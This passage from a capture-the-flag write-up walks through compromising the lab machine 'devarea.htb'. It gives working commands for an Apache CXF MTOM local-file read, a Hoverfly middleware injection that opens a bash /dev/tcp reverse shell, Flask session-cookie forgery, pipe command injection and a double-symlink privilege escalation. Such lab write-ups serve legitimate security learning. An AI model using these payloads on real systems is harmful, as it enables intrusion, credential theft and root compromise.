&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;org.apache.cxf.jaxws.JaxWsServerFactoryBean&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That &lt;code&gt;org.apache.cxf&lt;/code&gt; package name directly tells us it's Apache CXF.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8s2orrocqrm2ynu9b5cx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8s2orrocqrm2ynu9b5cx.png" alt="jadx-gui showing Apache CXF import in ServerStarter" width="800" height="342"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is MTOM?
&lt;/h3&gt;

&lt;p&gt;MTOM (Message Transmission Optimization Mechanism) is a W3C standard for embedding binary data in SOAP messages. It uses &lt;code&gt;XOP:Include&lt;/code&gt; elements with an &lt;code&gt;href&lt;/code&gt; attribute pointing to the data source:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Normal use --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;employeeName&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;xop:Include&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"cid:attachment@example.com"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/employeeName&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Vulnerability
&lt;/h3&gt;

&lt;p&gt;Apache CXF &amp;lt; 3.5.5 / &amp;lt; 3.4.10 performs &lt;strong&gt;no validation&lt;/strong&gt; on the &lt;code&gt;href&lt;/code&gt; attribute. An attacker can point it to arbitrary local files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Malicious --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;employeeName&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;xop:Include&lt;/span&gt; &lt;span class="na"&gt;xmlns:xop=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2004/08/xop/include"&lt;/span&gt;
               &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"file:///etc/passwd"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/employeeName&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server fetches the file and returns its contents &lt;strong&gt;Base64-encoded&lt;/strong&gt; in the SOAP response. No authentication required.&lt;/p&gt;

&lt;h3&gt;
  
  
  Manual Exploit
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://devarea.htb:8080/employeeservice &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: multipart/related; boundary="b"'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data&lt;/span&gt; &lt;span class="s1"&gt;$'--b&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s1"&gt;Content-Type: application/xop+xml&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="s1"&gt; \
&amp;lt;s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"&amp;gt;
  &amp;lt;s:Body&amp;gt;
    &amp;lt;d:submitReport xmlns:d="http://devarea.htb/"&amp;gt;
      &amp;lt;arg0&amp;gt;
        &amp;lt;employeeName&amp;gt;&amp;lt;x:Include xmlns:x="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/&amp;gt;&amp;lt;/employeeName&amp;gt;
      &amp;lt;/arg0&amp;gt;
    &amp;lt;/d:submitReport&amp;gt;
  &amp;lt;/s:Body&amp;gt;
&amp;lt;/s:Envelope&amp;gt; \r\n--b--\r\n'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Reading the Hoverfly Service File
&lt;/h3&gt;

&lt;p&gt;Since nmap revealed Hoverfly on port 8888, we try reading its systemd service file — service files are world-readable and often contain credentials. Common service file names to try:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight systemd"&gt;&lt;code&gt;&lt;span class="err"&gt;/etc/systemd/system/hoverfly.service&lt;/span&gt;
&lt;span class="err"&gt;/etc/systemd/system/syswatch.service&lt;/span&gt;
&lt;span class="err"&gt;/etc/systemd/system/gunicorn.service&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Extracting Hoverfly Credentials
&lt;/h3&gt;

&lt;p&gt;Sending the SSRF request targeting &lt;code&gt;hoverfly.service&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://devarea.htb:8080/employeeservice &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: multipart/related; boundary="b"'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data&lt;/span&gt; &lt;span class="s1"&gt;$'--b&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s1"&gt;Content-Type: application/xop+xml&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="s1"&gt; \
&amp;lt;s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"&amp;gt;
  &amp;lt;s:Body&amp;gt;
    &amp;lt;d:submitReport xmlns:d="http://devarea.htb/"&amp;gt;
      &amp;lt;arg0&amp;gt;
        &amp;lt;employeeName&amp;gt;&amp;lt;x:Include xmlns:x="http://www.w3.org/2004/08/xop/include" href="file:////etc/systemd/system/hoverfly.service"/&amp;gt;&amp;lt;/employeeName&amp;gt;
      &amp;lt;/arg0&amp;gt;
    &amp;lt;/d:submitReport&amp;gt;
  &amp;lt;/s:Body&amp;gt;
&amp;lt;/s:Envelope&amp;gt; \r\n--b--\r\n'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;hoverfly.service&lt;/code&gt; turned out to be a valid endpoint. The SOAP response returned the service file contents Base64-encoded. Decoding it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;BASE64_HERE&amp;gt;"&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The service file had credentials embedded directly in the configuration — plaintext login details for the Hoverfly dashboard.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. CVE-2025-54123 — Hoverfly Middleware RCE
&lt;/h2&gt;

&lt;p&gt;Navigate to &lt;code&gt;http://devarea.htb&lt;/code&gt; with the extracted credentials. The dashboard reveals &lt;strong&gt;Hoverfly v1.11.3&lt;/strong&gt; — vulnerable to CVE-2025-54123, an authenticated RCE via the middleware API.&lt;/p&gt;

&lt;h3&gt;
  
  
  Getting the Authorization Token
&lt;/h3&gt;

&lt;p&gt;Open browser DevTools → Network tab → log in and look for API requests containing an &lt;code&gt;Authorization: Bearer &amp;lt;token&amp;gt;&lt;/code&gt; header. Copy the token.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exploiting the Middleware API
&lt;/h3&gt;

&lt;p&gt;Hoverfly allows configuring a middleware script that processes proxied requests. The middleware API accepts an arbitrary binary and script with no sanitization.&lt;/p&gt;

&lt;p&gt;Start a listener:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inject a reverse shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; PUT http://devarea.htb:8888/api/v2/hoverfly/middleware &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &amp;lt;TOKEN&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"binary":"bash","script":"bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;YOUR-IP&amp;gt;/4444 0&amp;gt;&amp;amp;1"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trigger the middleware by sending a request through the Hoverfly proxy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://devarea.htb:8500"&lt;/span&gt; &lt;span class="nt"&gt;--proxy&lt;/span&gt; &lt;span class="s2"&gt;"http://devarea.htb:8888"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell received as &lt;code&gt;dev_ryan&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/dev_ryan/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;User flag captured!&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Privilege Escalation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 Enumerating the Environment
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/syswatch.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;SYSWATCH_SECRET_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725&lt;/span&gt;
&lt;span class="py"&gt;SYSWATCH_LOG_DIR&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/opt/syswatch/logs&lt;/span&gt;
&lt;span class="py"&gt;SYSWATCH_DB_PATH&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/opt/syswatch/syswatch_gui/syswatch.db&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A Flask web GUI runs on &lt;code&gt;127.0.0.1:7777&lt;/code&gt;. Check sudo permissions while enumerating:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Matching Defaults entries for dev_ryan on devarea:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty

User dev_ryan may run the following commands on devarea:
    (root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop,
        !/opt/syswatch/syswatch.sh web-restart
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;dev_ryan&lt;/code&gt; can run &lt;code&gt;syswatch.sh&lt;/code&gt; as root without a password — with the exception of the &lt;code&gt;web-stop&lt;/code&gt; and &lt;code&gt;web-restart&lt;/code&gt; subcommands. The &lt;code&gt;logs&lt;/code&gt; subcommand is unrestricted.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.2 Flask Session Forgery
&lt;/h3&gt;

&lt;p&gt;Flask session cookies are &lt;strong&gt;signed but not encrypted&lt;/strong&gt;. With the leaked &lt;code&gt;SYSWATCH_SECRET_KEY&lt;/code&gt; we can forge any session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# forge.py
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;flask.sessions&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SecureCookieSessionInterface&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;flask&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Flask&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__name__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;secret_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;session_serializer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;SecureCookieSessionInterface&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;get_signing_serializer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;session_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;admin&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;forged_cookie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session_serializer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session_data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;forged_cookie&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 forge.py
&lt;span class="c"&gt;# eyJ1c2VyX2lkIjox...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify admin access:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"session=&amp;lt;FORGED_COOKIE&amp;gt;"&lt;/span&gt; http://127.0.0.1:7777/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.3 Command Injection in /service-status
&lt;/h3&gt;

&lt;p&gt;The Flask app uses an incomplete regex with &lt;code&gt;shell=True&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;SAFE_SERVICE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;^[^;/\&amp;amp;.&amp;lt;&amp;gt;\rA-Z]*$&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;systemctl status --no-pager &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="c1"&gt;# ← dangerous
&lt;/span&gt;    &lt;span class="n"&gt;capture_output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The regex blocks &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;/&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt;, &lt;code&gt;.&lt;/code&gt;, &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, uppercase — but &lt;strong&gt;not &lt;code&gt;|&lt;/code&gt;&lt;/strong&gt;. Pipe injection works:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"session=&amp;lt;FORGED_COOKIE&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://127.0.0.1:7777/service-status &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"service=ssh | id"&lt;/span&gt;
&lt;span class="c"&gt;# uid=1002(syswatch)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;RCE as &lt;code&gt;syswatch&lt;/code&gt; confirmed — this user can write to &lt;code&gt;/opt/syswatch/logs/&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.4 Double Symlink Attack
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;The vulnerability in &lt;code&gt;log_message()&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;syswatch-monitor&lt;/code&gt; timer (and &lt;code&gt;syswatch.sh&lt;/code&gt; itself) executes plugins that call &lt;code&gt;log_message()&lt;/code&gt; from &lt;code&gt;common.sh&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;log_message&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;logfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$logfile&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$logfile&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;    &lt;span class="c"&gt;# removes ONE level of symlink&lt;/span&gt;
        : &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$logfile&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;          &lt;span class="c"&gt;# creates file — follows remaining chain!&lt;/span&gt;
        &lt;span class="nb"&gt;chmod &lt;/span&gt;644 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$logfile&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;fi
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; ...&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; - &lt;/span&gt;&lt;span class="nv"&gt;$msg&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$logfile&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why double symlink bypasses the check:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;[ -L "$logfile" ]&lt;/code&gt; only tests whether the path itself is a symlink — it does &lt;strong&gt;not&lt;/strong&gt; follow the chain. With two links:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;evil.log → chain.log → /root/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Script sees &lt;code&gt;evil.log&lt;/code&gt; is a symlink → removes it&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;: &amp;gt; "evil.log"&lt;/code&gt; recreates the name — the shell follows &lt;code&gt;chain.log&lt;/code&gt; → &lt;code&gt;/root/root.txt&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The privileged process now reads/writes directly into &lt;code&gt;/root/root.txt&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The regex in &lt;code&gt;/service-status&lt;/code&gt; blocks &lt;code&gt;/&lt;/code&gt; and &lt;code&gt;.&lt;/code&gt;, so we use &lt;code&gt;printf&lt;/code&gt; octal escapes to construct paths without those characters.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — Create the tracking pointer link (&lt;code&gt;chain.log → /root/root.txt&lt;/code&gt;):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"session=&amp;lt;FORGED_COOKIE&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://127.0.0.1:7777/service-status &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"service=ssh | ln -sf &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'\057root\057root\056txt'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'\057opt\057syswatch\057logs\057chain\056log'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2 — Create the primary verification link (&lt;code&gt;evil.log → chain.log&lt;/code&gt;):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"session=&amp;lt;FORGED_COOKIE&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://127.0.0.1:7777/service-status &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"service=ssh | ln -sf &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'chain\056log'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
